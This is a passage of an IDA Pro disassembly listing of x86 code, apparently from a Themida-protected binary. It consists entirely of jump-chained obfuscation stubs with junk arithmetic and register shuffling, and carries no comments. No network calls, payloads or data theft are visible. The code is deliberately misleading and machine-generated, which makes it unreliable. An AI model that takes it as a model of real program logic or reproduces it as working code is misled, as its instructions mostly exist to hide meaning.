loc_590BC8: ; CODE XREF: sub_58C17E+5BF4j sub cl, 83h shr cl, 1 not cl push edx mov dh, 0D3h not dh xor dh, 0A8h jmp loc_590558 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_590BDC: ; CODE XREF: Themida_:00593DBEj push 0F04147Dh pop edx push edx not dword ptr [esp] pop edx neg edx jbe loc_592AEC add edx, 36D13125h add edx, 2E7109CFh mov eax, edx pop edx loc_590BFE: ; CODE XREF: Themida_:0058D941j sub ebp, 0FFFFFFFFh shr ebp, 4 jmp loc_5962F7 ; =============== S U B R O U T I N E ======================================= sub_590C09 proc near ; CODE XREF: sub_5EC2E8-607C2j ; FUNCTION CHUNK AT 005954DA SIZE 00000007 BYTES push ebx mov bl, 1Ch jmp loc_5954DA sub_590C09 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_590C11: ; CODE XREF: Themida_:0058E3D8j ; sub_5916CB+34EEj dec edx add edx, 0FFFFFFFFh push ebp mov ebp, 0AE41A8B8h add edx, ebp pop ebp add ebp, 1DCD1489h add ebp, edx sub ebp, 1DCD1489h mov edx, [esp+0Ch+var_C] add esp, 4 xchg ebp, [esp+8+var_8] jmp loc_58C76A ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_590C3D: ; CODE XREF: Themida_:0058BF79j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_593AFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_590C4B: ; CODE XREF: sub_59762D+397j shl ebx, 1 and ebx, 342E42CCh and ebx, 1C2B63D6h jmp loc_594BDF ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_590C5E: ; CODE XREF: sub_592D25-28F4j xor edi, ebp xor ebp, edi xor edi, ebp mov ebp, [esp+0] add esp, 4 push ebp jmp loc_597B43 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_590C73: ; CODE XREF: Themida_:00592D20j push eax mov ax, 4C8Fh add ax, 0F9Fh shl ax, 3 xor ax, 52F6h push 1740h mov [esp], edx mov dx, 389Dh push ebp mov bp, 3344h jmp loc_597B22 ; --------------------------------------------------------------------------- loc_590C9A: ; CODE XREF: Themida_:0058EFC0j xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59489A ; --------------------------------------------------------------------------- loc_590CAB: ; CODE XREF: Themida_:0058D97Fj add edi, 4 xchg edi, [esp] pop esp jmp loc_5963A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_590CB7: ; CODE XREF: sub_590010+43F5j mov ax, [esp+0] push 0B99h mov [esp-10h+arg_C], ecx push esp jmp loc_59805F ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_590CC9: ; CODE XREF: Themida_:00597DEBj sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_58D804 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_590CD9: ; CODE XREF: sub_590010-3727j xor eax, edx pop edx add eax, ebx add [eax], ebp pop eax pop ebx jmp loc_595FE7 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_590CE7: ; CODE XREF: sub_5EC2E8-5CDD2j pop ecx add ebx, 0F7BBD704h add ebp, ebx pop ebx push ecx jmp loc_5934B9 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_590CF7: ; CODE XREF: Themida_:0059543Fj xor bh, 0E0h mov ah, bh jmp loc_590532 ; --------------------------------------------------------------------------- loc_590D01: ; CODE XREF: Themida_:0059743Dj add edi, 4 xchg edi, [esp] pop esp add bl, ah jmp loc_594EC4 ; --------------------------------------------------------------------------- loc_590D12: ; CODE XREF: Themida_:0058EBD9j pop ebp push small word ptr [eax] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_590D1B: ; CODE XREF: Themida_:0059554Aj add eax, 53C40480h add eax, 20637A18h push esi jmp loc_5900E3 ; --------------------------------------------------------------------------- loc_590D2B: ; CODE XREF: Themida_:0058CE1Bj pop esp mov [esp], ecx jmp loc_58BA4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_590D34: ; CODE XREF: sub_58F5B5+48F4j mov ecx, [esp-4+arg_0] push ebx mov ebx, esp jmp loc_58CD15 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_590D3F: ; CODE XREF: Themida_:0058BED8j xor ebp, eax pop eax jmp loc_58F567 ; --------------------------------------------------------------------------- loc_590D47: ; CODE XREF: Themida_:00596FE9j pop ecx add esp, 4 add eax, 2 push 71F7h mov [esp], eax jmp loc_58CB62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_590D5E: ; CODE XREF: sub_58C17E+6E92j xor ebp, ecx mov ecx, [esp+0] push edi jmp loc_58CE6C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_590D69: ; CODE XREF: sub_5942E3-1D95j ; sub_595E21-7E9j xchg eax, [esp+0] mov esp, [esp+0] movzx ecx, al push eax mov eax, esp push 45Ah jmp loc_58B01C ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_590D7F: ; CODE XREF: sub_591059-34D5j pop ebx jmp sub_58BA12 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_590D85: ; CODE XREF: Themida_:005910A2j pop esp xchg ebx, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_596527 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_590D93: ; CODE XREF: sub_590010-23DFj add ebx, 599C7945h add ebx, edx sub ebx, 599C7945h jmp loc_59446D ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_590DA6: ; CODE XREF: sub_58F5B5:loc_59593Bj push 1A89h mov [esp+4+var_4], ebx push ebp jmp loc_58D3BC ; --------------------------------------------------------------------------- loc_590DB4: ; CODE XREF: sub_58F5B5-289Aj add ebx, 4 xchg ebx, [esp-8+arg_4] jmp loc_58B583 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_590DBF: ; CODE XREF: Themida_:0058C75Dj mov [esp], eax sub esp, 4 mov [esp], edi mov edi, 0D013C5Ah and edi, 24367246h shr edi, 3 push ebp mov ebp, 0A7F4FDAh add edi, 7A111344h add edi, ebp sub edi, 7A111344h pop ebp mov eax, edi mov edi, [esp] add esp, 4 mov ebx, 0F500AB1Ch add ebx, eax mov eax, [esp] add esp, 4 and [edi+1Ch], ebx jmp loc_592BB1 ; --------------------------------------------------------------------------- loc_590E0E: ; CODE XREF: Themida_:005943BAj mov esp, [esp] xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_58A2CE ; =============== S U B R O U T I N E ======================================= sub_590E26 proc near ; CODE XREF: sub_58D99C+37C1j ; FUNCTION CHUNK AT 0058D293 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00592EE5 SIZE 00000017 BYTES push ebp mov ebp, 6CDE500Fh neg ebp jmp loc_58D293 sub_590E26 endp ; --------------------------------------------------------------------------- loc_590E33: ; CODE XREF: Themida_:0058BFCEj shr ebx, 5 jmp loc_59790F ; --------------------------------------------------------------------------- loc_590E3B: ; CODE XREF: Themida_:0059335Fj neg edi add edi, 6BF5B9DAh neg edi jmp loc_596064 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_590E4A: ; CODE XREF: sub_5EC2E8-5FBCFj pop edi add edx, ecx pop ecx push eax mov eax, 396C1E5Ch shr eax, 1 push eax jmp loc_58DCE0 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5948B7 loc_590E5C: ; CODE XREF: Themida_:0058EE2Ej ; sub_5948B7+209Aj mov [esp+0], ecx jmp loc_58BE59 ; END OF FUNCTION CHUNK FOR sub_5948B7 ; --------------------------------------------------------------------------- loc_590E64: ; CODE XREF: Themida_:0058DCBBj mov [esp], ecx push 3063FD59h jmp loc_59584A ; --------------------------------------------------------------------------- loc_590E71: ; CODE XREF: Themida_:0058F27Fj push ecx mov ecx, 78F71FA3h push ebp jmp loc_58F1E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_590E7D: ; CODE XREF: sub_590B70+3E25j mov eax, [edx] pop edx push dword ptr [edi+eax*4] push 4B8Bh mov [esp+0], ebx push edi push 62B376CAh pop edi add edi, 0BE52FDB2h mov ebx, edi jmp $+5 pop edi jmp loc_58AF3E ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- loc_590EA5: ; CODE XREF: Themida_:0058DEAAj push dword ptr [esp+4] jmp loc_58F498 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_590EAE: ; CODE XREF: sub_59762D-2558j sub ecx, 2 xor ecx, [esp+6+var_8+2] xor [esp+6+var_8+2], ecx jmp loc_58C39D ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_590EBF: ; CODE XREF: Themida_:0058C6E2j neg dword ptr [esp] pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_590EC8: ; CODE XREF: Themida_:00597764j pop eax mov cl, dh pop edx jmp loc_58ECEC ; --------------------------------------------------------------------------- loc_590ED1: ; CODE XREF: Themida_:0058E209j sub esp, 2 mov [esp], si jmp loc_58DB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590EDD: ; CODE XREF: sub_5916C4+304Aj ; Themida_:005949B5j ja loc_594CB3 jmp loc_597037 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- xchg edi, [esp] pop esp mov al, cl pop eax loc_590EEF: ; CODE XREF: Themida_:0059778Ej push edi mov edi, 0BB0B99h add eax, 52C83D3Dh add eax, 7C7A5F4Fh sub eax, 4D8F51B4h add eax, edi add eax, 4D8F51B4h jmp loc_58BB73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590F10: ; CODE XREF: sub_5916C4+1123j pop esp jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_590F16: ; CODE XREF: sub_58C17E+874j sub ebx, 20EA7753h add ebx, edx add ebx, 20EA7753h pop edx add eax, ebx mov ebx, [esp+0] jmp loc_592737 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_590F2F: ; CODE XREF: Themida_:0058F82Cj push edx mov dh, 40h xor bh, dh pop edx shl bh, 5 push dx jmp loc_58FC17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_590F3F: ; CODE XREF: sub_595E21:loc_58C605j ; Themida_:00597562j sub edx, 474E2E64h mov esi, edx mov edx, [esp+0] jmp loc_5906A4 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_590F4F: ; CODE XREF: sub_595123-972Fj mov [esp+0Ch+var_C], edx push [esp+0Ch+var_8] jmp loc_58BEED ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_590F5B: ; CODE XREF: Themida_:0058C89Cj and ch, dh mov dx, [esp] add esp, 2 jmp loc_58FEEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_590F6C: ; CODE XREF: sub_58C17E+33F7j pop ebp sub edx, 4 push edx push [esp+0Eh+var_C+2] pop edx pop dword ptr [esp+0] mov esp, [esp+0Ah+var_C+2] mov [esp+0Ah+var_C+2], esi jmp loc_594C74 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_590F87: ; CODE XREF: Themida_:00591A14j add esi, ecx jmp loc_597FB9 ; --------------------------------------------------------------------------- loc_590F8E: ; CODE XREF: Themida_:005975A7j sub edi, ebx pop ebx push ebp push esi jmp loc_5932DF ; --------------------------------------------------------------------------- loc_590F98: ; CODE XREF: Themida_:00593CA2j pop ebx xor cl, dh jmp loc_596E3A ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 jmp loc_59525E ; --------------------------------------------------------------------------- loc_590FB4: ; CODE XREF: Themida_:0058FAF8j neg ecx jnz loc_5971D3 jmp loc_597EB8 ; --------------------------------------------------------------------------- lodsb xor al, bl push edx pop edi ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590FC6: ; CODE XREF: sub_5916C4+21D2j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] add eax, ebp mov ebp, [esp-0Ch+arg_8] add esp, 4 push edi mov edi, 56465183h dec edi xor edi, 0D054487h jmp loc_5925C3 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_590FF4: ; CODE XREF: Themida_:0058ED57j pop ebp jmp loc_58B642 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5909B4 loc_590FFA: ; CODE XREF: sub_5909B4-D37j push ax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5909B4 ; --------------------------------------------------------------------------- loc_591002: ; CODE XREF: Themida_:00592A23j mov eax, [esp] add esp, 4 add eax, 4 push ebp mov ebp, 7F0226BCh dec ebp not ebp and ebp, 4B8D704Eh shr ebp, 3 not ebp jmp loc_58BF1E ; --------------------------------------------------------------------------- loc_591029: ; CODE XREF: Themida_:00592388j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or bp, 584h jno loc_58EC67 jmp loc_5927B1 ; --------------------------------------------------------------------------- sub ebp, 4 pop esp loc_59104A: ; CODE XREF: Themida_:0058E7B1j sub edi, 4 xchg edi, [esp] pop esp jmp loc_58F1A0 ; =============== S U B R O U T I N E ======================================= sub_591059 proc near ; CODE XREF: sub_58F5B5-3358j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058B1B8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058B6C0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058BF59 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C208 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058CBA4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058DB81 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DF4E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00590D7F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059248C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594090 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00594CF7 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00595DB6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597091 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059715A SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], ebp jmp loc_594CF7 sub_591059 endp ; --------------------------------------------------------------------------- loc_591067: ; CODE XREF: Themida_:0058D4CFj ; Themida_:0058F479j or ecx, 99C7745h jmp loc_58C98A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_591072: ; CODE XREF: sub_5916CB-51B5j push [esp+4+var_4] pop ecx push eax jmp loc_596BFE ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5909B4 loc_59107C: ; CODE XREF: sub_5909B4+20A8j push eax not dword ptr [esp+0] jmp loc_58D1BA ; END OF FUNCTION CHUNK FOR sub_5909B4 ; --------------------------------------------------------------------------- loc_591085: ; CODE XREF: Themida_:0059095Cj mov ecx, [esp] add esp, 4 add ebx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_590D85 ; --------------------------------------------------------------------------- loc_5910A7: ; CODE XREF: Themida_:00593BB8j mov ah, 0F8h jmp loc_59574E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_5910AE: ; CODE XREF: sub_595BDA-93DCj add esp, 4 jmp loc_5922E0 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_5910B9: ; CODE XREF: Themida_:0058FE34j pop ebx jmp loc_58EC19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5910BF: ; CODE XREF: sub_590010+266Dj pop ebx add esi, eax jmp loc_58ACB6 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_5910C7: ; CODE XREF: Themida_:005924A4j xchg esi, [esp] pop esp sub bl, 1 push 3155h mov [esp], edx mov dl, al push ecx push 38h pop ecx push 627Fh mov [esp], eax mov eax, 428E4729h sub ecx, eax pop eax jmp loc_5936A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_5910F4: ; CODE XREF: sub_58B4D6+7C71j mov ecx, 4 jmp loc_58DF0C ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5910FE: ; CODE XREF: sub_58C17E+74EBj not edi xor edi, 0B7ADFD5Bh not edi xor edi, 51311DC9h jl loc_593A83 not edi add edi, 32B2FB6h mov eax, edi pop edi mov bl, bl loc_591121: ; CODE XREF: sub_59762D-5444j sub bl, 3Bh pop edx add bl, 0CCh add bl, 0F3h jmp loc_58FB3A ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_591130: ; CODE XREF: sub_592D25:loc_592553j ; Themida_:00595AE5j push 7313h mov [esp+0], eax push ebx mov ebx, 7C524B83h push ebp push 519C53DDh jmp loc_592D45 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_591149: ; CODE XREF: sub_58D99C:loc_594200j sub ebx, 1411871Fh and ecx, ebx mov ebx, [esp+0Ch+var_C] push ebx mov ebx, esp add ebx, 4 jmp sub_590E26 ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_591162: ; CODE XREF: sub_592D25-4E98j mov esi, esp jmp loc_58D149 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_591169: ; CODE XREF: Themida_:loc_5947C9j push ebx push eax jmp loc_58DF95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591170: ; CODE XREF: sub_58C17E+64DEj mov [esp+2+var_4+2], ecx mov ecx, ebp mov ebx, ecx pop ecx mov [edx], ebx mov ebx, [esp+0] add esp, 4 pop ebp mov edx, [esp-0Ah+arg_4+2] add esp, 4 jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_59118F: ; CODE XREF: Themida_:00595C6Cj add esi, 4 xchg esi, [esp] pop esp push edi mov edi, esp sub esp, 4 mov [esp], edx jmp loc_5906CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5911AA: ; CODE XREF: sub_58C17E+349Cj add ecx, ebx push edx jmp loc_597C85 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5911B2: ; CODE XREF: sub_5916C4-60B7j add ecx, 4 xchg ecx, [esp-4+arg_0] pop esp push 3DC2h mov [esp-4+arg_0], ebp sub esp, 4 mov [esp+0], ecx jmp loc_5900D6 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5911CF: ; CODE XREF: Themida_:0058DF82j push ecx mov ch, 2 push eax mov al, ch not al mov ch, al pop eax push bx jmp loc_5904C9 ; --------------------------------------------------------------------------- loc_5911E1: ; CODE XREF: Themida_:0058A8DDj xchg edx, [esp] jmp loc_590995 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5911E9: ; CODE XREF: sub_590010+5BDDj not esi add esi, 39606905h jmp loc_58A59B ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_5911F6: ; CODE XREF: Themida_:0058D66Bj pop esi or esi, 4A36059Bh jmp loc_591C43 ; --------------------------------------------------------------------------- loc_591202: ; CODE XREF: Themida_:0058AA94j pop ebx push 11Ch jmp loc_59521D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59120D: ; CODE XREF: sub_58F5B5+6EA1j sub ah, 0E6h jmp loc_58D642 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5936D6 loc_591215: ; CODE XREF: sub_5936D6+1CBEj pop ecx mov ebx, [esp-4+arg_0] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5936D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59122E: ; CODE XREF: sub_5916C4-4C2Fj xor [esp-0Ah+arg_8+2], edi jmp loc_58C07C ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_591237: ; CODE XREF: sub_595E21-ABDDj push edx mov edx, 27872A83h add edx, 5421740Ch jle loc_58F831 jmp loc_593B33 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59124E: ; CODE XREF: sub_590010-3385j mov edi, [esp+4+var_4] jmp loc_593273 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_591256: ; CODE XREF: Themida_:005968C7j push ecx push edx jmp loc_595ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_59125D: ; CODE XREF: sub_59524C-710Cj ; sub_595E21-2B56j add ebx, 5B32732h add ebx, 6C4D68B2h sub ebx, esi sub ebx, 6C4D68B2h push ecx push esi mov esi, 5B32732h mov ecx, esi pop esi jmp loc_597F97 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_591280: ; CODE XREF: Themida_:0059544Aj pop ebx add cl, ah pop ax add al, cl pop ecx push ebx mov bl, 0C1h push eax mov ah, 9Eh dec ah not ah shl ah, 5 or ah, 0CBh jmp loc_597A04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_59129D: ; CODE XREF: sub_5EC2E8-60751j xor edi, [esp+28h+var_28] pop esp jmp sub_59524C ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_5912A6: ; CODE XREF: Themida_:0058C488j push esi xchg ebx, [esp] not ebx xchg ebx, [esp] jmp loc_5955D1 ; --------------------------------------------------------------------------- loc_5912B4: ; CODE XREF: Themida_:0058B68Bj xor ebx, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp dec ebx jmp loc_58AA8A ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58A8CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5912D7: ; CODE XREF: sub_5916C4+F09j xor edi, edx add edx, 1 jmp loc_590707 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5912E1: ; CODE XREF: sub_59762D-9777j mov [esp+0], ax mov al, 12h sub dh, al jmp loc_58E450 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5912EE: ; CODE XREF: Themida_:005940B3j add bl, ch jmp loc_593683 ; --------------------------------------------------------------------------- loc_5912F5: ; CODE XREF: Themida_:0058CE42j mov ebp, 4C743545h not ebp xor ebp, 2DAC5863h not ebp neg ebp add ebp, 9CB0BCF5h mov edi, ebp pop ebp not edi shr edi, 1 push edi xchg ebp, [esp] inc ebp xor [esp], ebp xor ebp, [esp] jmp loc_5953C4 ; --------------------------------------------------------------------------- loc_591323: ; CODE XREF: Themida_:loc_5902CEj dec cl jns loc_597D13 sub cl, 31h mov ah, cl pop ecx push ecx mov cl, ah jmp loc_58F1B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_591339: ; CODE XREF: sub_5EC2E8-5C333j push 1D896B3Dh pop ebp inc ebp neg ebp jo loc_592988 add ebp, 1D896B42h mov edx, ebp pop ebp jmp loc_5964DB ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_591356: ; CODE XREF: Themida_:0058BDADj sub esi, 0AB11A8A2h push esi sub dword ptr [esp], 57E31B65h jmp loc_58C160 ; --------------------------------------------------------------------------- loc_591369: ; CODE XREF: Themida_:005950BCj sub esp, 4 mov [esp], ebp push esp jmp loc_594F3E ; --------------------------------------------------------------------------- loc_591375: ; CODE XREF: Themida_:005964D0j jmp loc_597F1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_59137A: ; CODE XREF: sub_595E21-5772j mov [esp+0], ebx mov ebx, 4 add ecx, ebx jmp loc_597037 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_591389: ; CODE XREF: sub_590010-2E62j pop ebx add ecx, esi push esi mov esi, 7DF57918h inc esi xor esi, 2BFB3B91h add ecx, esi pop esi mov esi, [esp+4+var_4] jmp loc_592E9B ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5913A4: ; CODE XREF: sub_5916C4+171Ej add edi, ebx sub edi, 13014DF9h pop ebx push ebx jmp loc_591CC9 ; --------------------------------------------------------------------------- loc_5913B3: ; CODE XREF: sub_5916C4+3FF8j push ecx mov ecx, esp push esi jmp loc_5963D2 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5913BC: ; CODE XREF: Themida_:00593BC0j sub ebp, 60187465h jmp loc_592022 ; --------------------------------------------------------------------------- loc_5913C7: ; CODE XREF: Themida_:0058E291j mov esi, 629207EFh push ebp mov ebp, 33A83EC5h push esi mov esi, 3E8611FAh xor ebp, esi pop esi inc ebp dec ebp xor ebp, 0A8E0D15h and esi, ebp pop ebp shr esi, 5 shr esi, 3 shr esi, 2 shl esi, 2 xor esi, 4A779382h add eax, esi pop esi jmp loc_5935FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_591400: ; CODE XREF: sub_595BDA-38F9j mov dl, bh mov cl, dl pop edx pop ebx shr cl, 4 jmp loc_58ACF4 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- sub esp, 4 push 2740h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push 7502h mov [esp], esi push eax jmp loc_59723A ; --------------------------------------------------------------------------- loc_591432: ; CODE XREF: Themida_:005947A1j xor dh, 4Ch jmp loc_592700 ; --------------------------------------------------------------------------- loc_59143A: ; CODE XREF: Themida_:loc_594E63j sub ebp, 986AA3FFh sub ebp, 25FF5F55h xchg esi, ebp jmp loc_594D97 ; --------------------------------------------------------------------------- loc_59144D: ; CODE XREF: Themida_:0058F6E0j push ebx jmp loc_58CB49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_591453: ; CODE XREF: sub_590467-5326j xchg esi, [esp+6+var_6] pop esp push dword ptr [esp+0] push [esp+6+var_6] jmp loc_594490 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_591462: ; CODE XREF: Themida_:0058CBB2j mov [esp], ecx push eax mov ah, 2Bh mov ch, 96h push edx mov dh, 90h neg dh dec dh and dh, 58h not dh jmp loc_5962B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_59147B: ; CODE XREF: sub_5916CB-2E2Bj pop esi jmp loc_58CFF9 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_591481: ; CODE XREF: Themida_:00592F4Ej push eax mov ah, 0D3h and ah, 0B2h jz loc_596992 add ah, 4Bh jmp loc_58C776 ; --------------------------------------------------------------------------- loc_591495: ; CODE XREF: Themida_:005941FBj xor ecx, edi xor edi, ecx xor ecx, edi push edi push ebx pop edi pop ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx not dword ptr [esp] pop ebx push 46C6h mov [esp], edi 